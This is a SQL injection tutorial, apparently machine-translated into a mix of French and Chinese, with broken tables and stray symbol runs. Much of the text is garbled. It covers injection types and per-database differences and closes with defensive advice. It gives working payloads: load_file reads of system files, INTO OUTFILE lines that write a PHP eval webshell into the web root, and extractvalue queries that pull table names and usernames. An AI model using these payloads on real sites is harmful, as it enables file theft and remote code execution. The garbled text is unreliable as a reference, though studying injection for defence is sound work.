Cet article vous apporte des connaissances sur l'injection SQL. L'injection SQL est un comportement dans lequel le serveur ne vérifie pas strictement les données envoyées par le client, ce qui entraîne la modification malveillante de l'instruction SQL côté serveur et son exécution réussie. utile à tout le monde.
Le langage de requête structuré (SQL) est un langage de programmation spécial utilisé pour les requêtes de données standard dans les bases de données. En octobre 1986, l’American National Standards Institute a standardisé SQL et l’a utilisé comme langage standard pour les systèmes de bases de données relationnelles. En 1987, il a reçu le soutien de l’Organisation internationale de normalisation et est devenu une norme internationale.
L'injection SQL est un comportement dans lequel le serveur ne vérifie pas strictement les données envoyées par le client, ce qui provoque la modification malveillante et l'exécution réussie de l'instruction SQL côté serveur
SQL Note⼊ attaque Le comportement peut être décrit comme un comportement d'attaque qui injecte la syntaxe SQL dans des paramètres contrôlables par l'utilisateur, détruit la structure SQL d'origine et obtient des résultats inattendus lors de l'écriture de programmes. La cause peut être attribuée à la superposition des deux raisons suivantes.
Selon le principe de vulnérabilité d'injection SQL, l'utilisateur injecte du SQL dans les "paramètres contrôlables" et l'émet, qui c'est-à-dire où l'application Web obtient les entrées de l'utilisateur. Tant qu'il y a une requête dans la base de données, il existe une possibilité d'injection SQL. Ces endroits incluent généralement :
Les méthodes de soumission incluent : obtenir, publier, cookie, demande, etc.
Parmi elles : demande d'assistance La précision est bonne Vous pouvez soumettre les paramètres en mode obtenir, en mode publication ou en mode cookie. point d'injection
Idées d'attaque | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
United Injection | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
S'il faut afficher les informations d'erreur de la base de données ; si la page en écho est différente (type de caractère ou type numérique)' 或"
| Injection de rapport d'erreuret 1=1 ou et 1=2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Injection aveugle booléenne | et sleep(5) | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
injection retardée | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Moyens courants d'obtenir le chemin : | |
---|---|
N'utilisez pas Baidu, utilisez Google pour rechercher inurl:phpinfo. php |
|
Injection SQL pour lire et écrire des fichiers | Vous pouvez utiliser les vulnérabilités d'injection SQL pour lire et écrire des fichiers. |
secure_file_priv
, qui est restreinte dans les versions supérieures des bases de données MySQL. opérations d’exportation. Pour configurer ce paramètre, vous devez modifier le fichier de configuration my.ini et redémarrer le service mysql [sa valeur par défaut est NULL dans Phpstudy, ce qui ne permet pas de lire et d'écrire des fichiers] 🎜🎜🎜🎜🎜🎜🎜Paramètre 🎜🎜 signifiant 🎜🎜 🎜🎜🎜🎜 secure_file_priv=NULL🎜🎜Restreindre mysqld pour ne pas autoriser les opérations d'importation et d'exportation🎜🎜🎜🎜secure_file_priv='c:/a/'🎜🎜restreindra les opérations d'importation et d'exportation de mysqld à un répertoire fixe, et les sous-répertoires sont valides🎜 🎜🎜🎜secure_file_priv =🎜🎜Aucune restriction sur les opérations d'import et d'export de mysqld🎜🎜🎜🎜修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini
,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
?id=-1'union select 1,current_user(),3 --+
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
下面两种方法一样
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址
# 1. 直接写 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
写一句话木马
# 1. 直接写 ?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。
更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》
重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明
举例:select * from news where id=$id
举例:insert into news(id,url,text) values(2,'x','$t')
举例:delete from news where id=$id
举例:update user set pwd='$p' where id=2 and username='admin'
举例:select * from news order by $id
举例:select id,name,price from news order by $order
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(不回显)
regexp,like,ascii,left,ord,mid
基于时间的SQ盲注-延时判断(不回显)
if,sleep
基于报错的SQL盲注-(强制)报错回显
floor,updatexml,extractvalue
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c
利用的就是mysql函数参数格式错误进行报错注入。
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
利用的原理是xpath格式不符报错注入。
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
1. 获取当前是数据库名称及使用mysql数据库的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 获取当前注入点的用户权限信息及操作系统版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 获取当前位置所用数据库的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 获取数据表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 获取users数据表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 获取对应的列名的信息(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加\
进行转义,但是\
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
这里使用的是sql-libs靶场的第24关
注册了一个新用户之后的数据库如下
新用户登录,并重置密码
查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
Injections empilées (injections empilées), vous pouvez voir à partir de la signification du nom qu'il devrait s'agir d'un un tas d'instructions SQL (plusieurs) sont exécutées ensemble. C'est également le cas dans les applications réelles. Nous savons que dans MySQL, principalement dans la ligne de commande, ;
est ajouté à la fin de chaque instruction pour indiquer la fin de l'instruction. De cette façon, nous avons réfléchi à la possibilité d’utiliser plusieurs phrases ensemble. Ainsi, l'injection de pile (également appelée requête de pile) est apparue;
表示语句结束。这样我们就想到了是不是可以多句一起使用。于是出现了堆叠注入(又称堆叠查询)
注意事项:
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁
DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。更多操作参见浅析DNSlog在渗透测试中的实战技巧
MySQL、SQLServer、Oracle、PostgreSQL、Access五种数据库应该是目前市面上最流行的数据库了。我们进行渗透测试,碰到最多的也是这几种数据库。本文就这几种数据库在注入时的相同点和不同的做一下统计。
MySQL | SQLServer | Oracle | PostgreSQL | Access | |||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
单行注释 | # |
-- |
-- |
-- |
无 | ||||||||||||||||||||||||||||||
多行注释 | /**/ |
/**/ |
/**/ |
/**/ | Remarques :DNSlog | ||||||||||||||||||||||||||||||
Brain Map | Bases de données communes et liées à l'injection⭐ | MySQL, SQLServer, Oracle, PostgreSQL et Access devraient être les bases de données les plus populaires sur le marché actuellement. Lorsque nous effectuons des tests d’intrusion, ce sont les types de bases de données que nous rencontrons le plus. Cet article réalise des statistiques sur les similitudes et les différences entre ces types de bases de données lors de l'injection. |
Commentaire, port de la base de données
-- 🎜🎜-- 🎜🎜-- 🎜🎜Aucun🎜🎜🎜🎜Commentaires multilignes🎜🎜/ * */ 🎜🎜/**/ 🎜🎜/**&*/ 🎜🎜Aucun🎜🎜🎜🎜Port de base de données🎜🎜3306🎜🎜1433🎜🎜1521🎜🎜5432🎜🎜C'est une base de données de fichiers, donc non le port est requis Non. 🎜🎜🎜🎜数据库文件后缀名
特有的数据库
查看当前用户或权限
查询当前用户 select user(); select substring_index(user(), '@', 1) ; 查询当前用户的权限 select * from mysql.user where user = substring_index(user(), '@', 1) ; Copier après la connexion
判断是否是SA权限select is_srvrolemember('sysadmin') 判断是否是db_owner权限 select is_member('db_owner')判断是否是public权限select is_srvrolemember('public') Copier après la connexion
查看当前用户select * from user_users;查看当前用户拥有的角色 select * from session_roles;查看当前用户拥有的权限select * from session_privs; Copier après la connexion
select user #查看用户select current_user #查看当前用户 Copier après la connexion
Access数据库是文件类型数据库,没有用户和权限的概念 ASCII转换函数
不同数据库注入结果的区别⭐
Sql注入中连接字符串常用函数在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有 concat()函数不使用字符串连接函数时: 但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是
concat_ws 函数使用方法:
注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。 group_concat 函数基本查询 mysql> select * from aa; +------+------+ | id| name | +------+------+ |1 | 10| |1 | 20| |1 | 20| |2 | 20| |3 | 200 | |3 | 500 | +------+------+ 6 rows in set (0.00 sec) Copier après la connexion 以id分组,把name字段的值打印在一行,逗号分隔(默认) mysql> select id,group_concat(name) from aa group by id; +------+--------------------+ | id| group_concat(name) | +------+--------------------+ |1 | 10,20,20| |2 | 20 | |3 | 200,500| +------+--------------------+ 3 rows in set (0.00 sec) Copier après la connexion 以id分组,把name字段的值打印在一行,分号分隔 mysql> select id,group_concat(name separator ';') from aa group by id; +------+----------------------------------+ | id| group_concat(name separator ';') | +------+----------------------------------+ |1 | 10;20;20 | |2 | 20| |3 | 200;500 | +------+----------------------------------+ 3 rows in set (0.00 sec) Copier après la connexion 以id分组,把去冗余的name字段的值打印在一行, mysql> select id,group_concat(distinct name) from aa group by id; +------+-----------------------------+ | id| group_concat(distinct name) | +------+-----------------------------+ |1 | 10,20| |2 | 20 | |3 | 200,500 | +------+-----------------------------+ 3 rows in set (0.00 sec) Copier après la connexion 以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序 mysql> select id,group_concat(name order by name desc) from aa group by id; +------+---------------------------------------+ | id| group_concat(name order by name desc) | +------+---------------------------------------+ |1 | 20,20,10 | |2 | 20| |3 | 500,200| +------+---------------------------------------+ 3 rows in set (0.00 sec) Copier après la connexion 补充知识—数据库结构数据库结构:数据库 —> 表名 —> 列名 —> 数据
use dvwa; # 选中dvwa数据库 show tables; # 查看dvwa数据库中有哪些表 Copier après la connexion
补充知识—关于SQL的一些常识注释
点数据库中,符号 常用语句和函数推荐阅读:SQL注入必备知识初级
5:select 函数名; 查询某内容 防御措施防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种: 代码层
强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
例如Mybatis中使用 Thinkphp框架的安全写法 安全的替换写法 $data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入 $data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束 $data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换 $data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定 $data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制 //不安全的写法举例 $_GET['id']=8;//希望得到的是正整数 $data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//执行的SQL语句 $_GET['id']='8 UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入; Copier après la connexion 数据库加固主要包括:
其他例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。 相关推荐:《mysql教程》 |
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!